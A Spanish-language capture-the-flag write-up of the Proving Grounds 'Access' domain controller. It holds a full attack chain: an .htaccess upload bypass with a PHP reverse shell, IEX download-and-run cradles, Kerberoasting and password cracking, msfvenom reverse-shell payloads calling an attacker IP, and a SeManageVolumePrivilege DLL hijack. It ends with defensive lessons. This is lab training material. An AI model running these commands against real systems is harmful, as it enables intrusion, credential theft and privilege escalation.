the_open_door
café
ESEN

Access

Proving Grounds PracticeMediaWindows192.168.114.187

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#file-upload#htaccess-bypass#rce#kerberoasting#runascs#password-cracking#semanagevolume#dll-hijacking#oscp
TL;DR. Access es un controlador de dominio (access.offsec) que sirve una web de eventos sobre XAMPP. El formulario de compra de entradas permite subir ficheros: con un .htaccess que mapea una extensión arbitraria a PHP (subida sin restricción) se consigue RCE y una shell como svc_apache. Desde ahí, un Kerberoasting saca el hash del SPN de svc_mssql, que john rompe a trustno1; con esas credenciales, RunasCs da una shell como svc_mssql. Esa cuenta tiene SeManageVolumePrivilege, que permite reescribir las ACL de C:\Windows y plantar una DLL maliciosa en wbem (DLL hijacking); al ejecutarse systeminfo cae una shell como NT AUTHORITY\NETWORK SERVICE, suficiente para leer la prueba.

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos comunes ya delata un controlador de dominio (DNS, Kerberos, LDAP, NTP):

ping -c 1 192.168.114.187
sudo nmap -sU --top-ports 1000 --min-rate 5000 -Pn -n --open 192.168.114.187
PORT      STATE  SERVICE
53/udp    open   domain
88/udp    open   kerberos-sec
123/udp   open   ntp
389/udp   open   ldap

El barrido TCP completo confirma el cuadro de un DC con, además, un servidor web por HTTP y HTTPS:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.187
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
389/tcp  open  ldap
443/tcp  open  ssl/http
445/tcp  open  microsoft-ds
5985/tcp open  http
nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 192.168.114.187 -oN targetedScan
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0.)
443/tcp  open  ssl/http      Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

Lo atípico en un DC es el Apache con PHP del 80/443: el AD es el entorno, pero el vector de entrada probablemente está en esa web.

SMB - TCP 445

netexec nos da el nombre de dominio y el del equipo, que añadimos a /etc/hosts para resolver los vhosts y Kerberos:

netexec smb 192.168.114.187
SMB  192.168.114.187  445  SERVER  [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)
echo '192.168.114.187 access.offsec' | sudo tee -a /etc/hosts

HTTP - TCP 80

La web "Access The Event" es un sitio de eventos. Fuzzeamos rutas y aparecen un par de directorios interesantes, entre ellos /uploads/, lo que sugiere que en algún sitio se suben ficheros:

dirsearch -u https://access.offsec/ --exclude-status=403,404,503
200    /assets/
200    /cgi-bin/printenv.pl
301    /forms/
200    /uploads/

El formulario de compra de entradas ("Buy Tickets") incluye un campo Upload Image: ese es el punto de subida.

Formulario Buy Tickets de la web Access The Event con un campo Upload Image marcado

Shell como svc_apache

Subida sin restricción con bypass de .htaccess

El formulario espera una imagen, pero el servidor es Apache y permite ficheros .htaccess por directorio. La técnica de subida sin restricción aquí tiene un giro: en vez de pelear con la lista de extensiones, subimos primero un .htaccess que le dice a Apache que trate una extensión inofensiva como PHP.

AddType application/x-httpd-php .test

Lo subimos por el mismo campo Upload Image:

Formulario Buy Tickets con el fichero .htaccess seleccionado en Upload Image

La aplicación acepta la subida ("You will shortly recieve payment link mail"):

Popup de access.offsec confirmando la subida del .htaccess

Como reverse shell usamos el PHP de Ivan Sincek de revshells.com, apuntando a nuestra IP y al puerto 80 (permitido por el filtrado de salida):

revshells.com con el PHP Ivan Sincek seleccionado, IP 192.168.45.227 y puerto 80

$sh = new Shell('192.168.45.227', 80);
$sh->run();

Lo guardamos como rev.test (esa extensión, mapeada a PHP por el .htaccess, no levanta sospechas del filtro de imágenes) y lo subimos igual:

Formulario Buy Tickets con rev.test seleccionado en Upload Image

Popup de access.offsec confirmando la subida del rev.test

El directorio /uploads/ confirma que el rev.test ha aterrizado:

Index of /uploads con rev.test (2.5K) servido por Apache 2.4.48 en access.offsec

Con nc a la escucha en el 80:

rlwrap nc -nlvp 80

Al visitar https://access.offsec/uploads/rev.test, Apache lo interpreta como PHP y dispara la conexión. La shell entra como access\svc_apache desde C:\xampp\htdocs\uploads:

Listado de /uploads con rev.test y, en el listener, la reverse shell con whoami access\svc_apache

# rlwrap nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 50197
SOCKET: Shell has connected! PID: 1008
Microsoft Windows [Version 10.0.17763.2746]
C:\xampp\htdocs\uploads>whoami
access\svc_apache

El listado de /uploads muestra el rev.test subido; al pedirlo, el nc del 80 recibe la shell como access\svc_apache.

Shell como svc_mssql

Kerberoasting: el SPN de svc_mssql

Con una shell en el dominio, buscamos cuentas de servicio con SPN. Descargamos Get-SPN.ps1 y lo ejecutamos en memoria; entre los resultados, además del krbtgt por defecto, aparece svc_mssql con el SPN MSSQLSvc/DC.access.offsec:

IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Get-SPN.ps1')
Object Name = MSSQL
servicePrincipalNames
SPN( 1 ) = MSSQLSvc/DC.access.offsec

Que una cuenta tenga un SPN habilita el Kerberoasting: cualquier usuario autenticado puede pedir un TGS para ese servicio, y parte del ticket va cifrada con el hash NTLM de la cuenta de servicio. Lo solicitamos en formato Hashcat con Invoke-Kerberoast:

IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.227/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$47B4A826E147FBAC30D27620711E8B79$9C9335...

El ticket se rompe offline, sin tocar la máquina ni arriesgar bloqueos de cuenta. La contraseña es débil y cae al instante con rockyou:

john --wordlist=/usr/share/wordlists/rockyou.txt hash
trustno1         (svc_mssql)

RunasCs: shell como svc_mssql

Las credenciales svc_mssql:trustno1 son válidas, pero la cuenta no tiene WinRM. Usamos RunasCs para ejecutar comandos con su identidad desde la shell de svc_apache. Primero comprobamos que las credenciales funcionan:

IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Invoke-RunasCs.ps1')
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
[*] Warning: The logon for user 'svc_mssql' is limited...
access\svc_mssql

Confirmado, lanzamos un binario de reverse shell (generado con msfvenom) como svc_mssql para tener una sesión interactiva con su contexto. El retorno va al 445, otro puerto permitido:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=445 -f exe > shell.exe

Con Penelope a la escucha en el 445:

penelope 445
certutil.exe -f -urlcache -split http://192.168.45.227/shell.exe shell.exe
icacls "C:\Windows\Temp\privesc" /grant "Everyone:(F)" /T
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"

Penelope recibe la reverse shell como access\svc_mssql tras Invoke-RunasCs

PS C:\Windows\temp\privesc> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"
[*] Warning: The logon for user 'svc_mssql' is limited...

(Penelope)> sessions 2
[+] Got reverse shell from access.offsec~192.168.234.187-WINDOWS  Assigned SessionID <2>
C:\Windows\system32>whoami
access\svc_mssql

Invoke-RunasCs arranca shell.exe con el token de svc_mssql y Penelope recibe la sesión: la nueva shell corre como access\svc_mssql.

Escalada de privilegios

SeManageVolumePrivilege: DLL hijacking en wbem

Lo primero en la nueva shell es mirar los privilegios del token. svc_mssql tiene SeManageVolumePrivilege:

whoami /priv

whoami /priv muestra SeManageVolumePrivilege en la lista de privilegios de svc_mssql

PRIVILEGES INFORMATION
Privilege Name                Description                        State
SeMachineAccountPrivilege     Add workstations to domain         Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks   Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled

En el token aparece SeManageVolumePrivilege (aunque Disabled, el exploit lo habilita al arrancar).

Ese privilegio (SeManageVolumePrivilege) da acceso de bajo nivel al disco y permite reescribir las ACL de C:\Windows. El binario público SeManageVolumeExploit.exe (repo) lo aprovecha para conceder escritura sobre los ficheros del sistema. Lo descargamos y lo servimos:

wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
python3 -m http.server 80

wget descarga SeManageVolumeExploit.exe desde el repo de CsEnox y http.server lo sirve

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
certutil.exe -f -urlcache -split http://192.168.45.227/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe

SeManageVolumeExploit.exe se ejecuta: Entries changed: 934, DONE

Entries changed: 934
DONE

Con escritura en C:\Windows, secuestramos una DLL que cargue un proceso privilegiado. El objetivo es tzres.dll, que el servicio WMI carga al ejecutarse systeminfo. Generamos una tzres.dll maliciosa con una reverse shell (retorno al 135):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=135 -f dll -o tzres.dll

msfvenom genera tzres.dll (payload de 460 bytes, dll de 9216) y http.server la sirve

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: tzres.dll

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con nc a la escucha en el 135, la traemos con certutil y la movemos a wbem:

rlwrap nc -nlvp 135
certutil.exe -f -urlcache -split http://192.168.45.227/tzres.dll
move tzres.dll c:\windows\system32\wbem
systeminfo

certutil descarga tzres.dll y move la coloca en c:\windows\system32\wbem (1 file moved)

El systeminfo lanzado provoca que WMI cargue nuestra DLL. En el listener cae una shell como NT AUTHORITY\NETWORK SERVICE (el contexto del proceso que disparó la carga):

En el listener del 135 cae una shell cuyo whoami devuelve nt authority\network service

# rlwrap nc -nlvp 135
listening on [any] 135 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 51439
Microsoft Windows [Version 10.0.17763.2746]
C:\Windows\system32>whoami
nt authority\network service

(En la shell de svc_mssql, el systeminfo devuelve ERROR: The remote procedure call failed porque WMI se cuelga cargando nuestra DLL, justo lo que dispara la conexión.)

Esa cuenta ya puede leer la prueba en el escritorio del administrador:

type C:\Users\Administrator\Desktop\proof.txt

type proof.txt leido como network service, con ipconfig, hostname SERVER y whoami

398ec96316ab388f1e6728775ebc463f

Cadena de ataque

web "Access The Event" sobre XAMPP (HTTP/HTTPS)
        │  subida con .htaccess (AddType ... .test) → rev.test interpretado como PHP
        ▼
shell como svc_apache
        │  Get-SPN → SPN MSSQLSvc de svc_mssql → Invoke-Kerberoast → john (trustno1)
        ▼
credenciales svc_mssql:trustno1  ──  RunasCs  ──▶  shell como svc_mssql
        │  whoami /priv: SeManageVolumePrivilege
        │  SeManageVolumeExploit.exe → escritura en C:\Windows
        │  tzres.dll maliciosa en \wbem  →  systeminfo carga la DLL (DLL hijacking)
        ▼
shell como NT AUTHORITY\NETWORK SERVICE  (proof.txt)

Lecciones aprendidas

  • Un servidor web sobre un DC es una superficie de entrada de primer orden. El Active Directory era el entorno, pero el pie inicial vino de una web en XAMPP. Separar los servicios expuestos del controlador de dominio limita el alcance de un fallo en la aplicación.
  • El filtro de extensiones no basta si se puede subir un .htaccess. Mapear una extensión arbitraria a PHP con AddType sortea la lista blanca de imágenes. Conviene servir las subidas desde un directorio sin ejecución de PHP y prohibir .htaccess por usuario (AllowOverride None).
  • Kerberoasting castiga las contraseñas débiles de las cuentas de servicio. Cualquier usuario del dominio pudo pedir el TGS de svc_mssql, y trustno1 cayó al instante. Contraseñas largas y aleatorias (o cuentas gestionadas, gMSA) hacen inviable el crackeo offline.
  • Un privilegio "de mantenimiento" puede ser SYSTEM. SeManageVolumePrivilege parece inocuo, pero permite reescribir las ACL de C:\Windows y abrir la puerta a un DLL hijacking. No conceder ese privilegio a cuentas de servicio que no lo necesitan cierra el vector.
Cheatsheet de comandos 12 comandos

Repaso rápido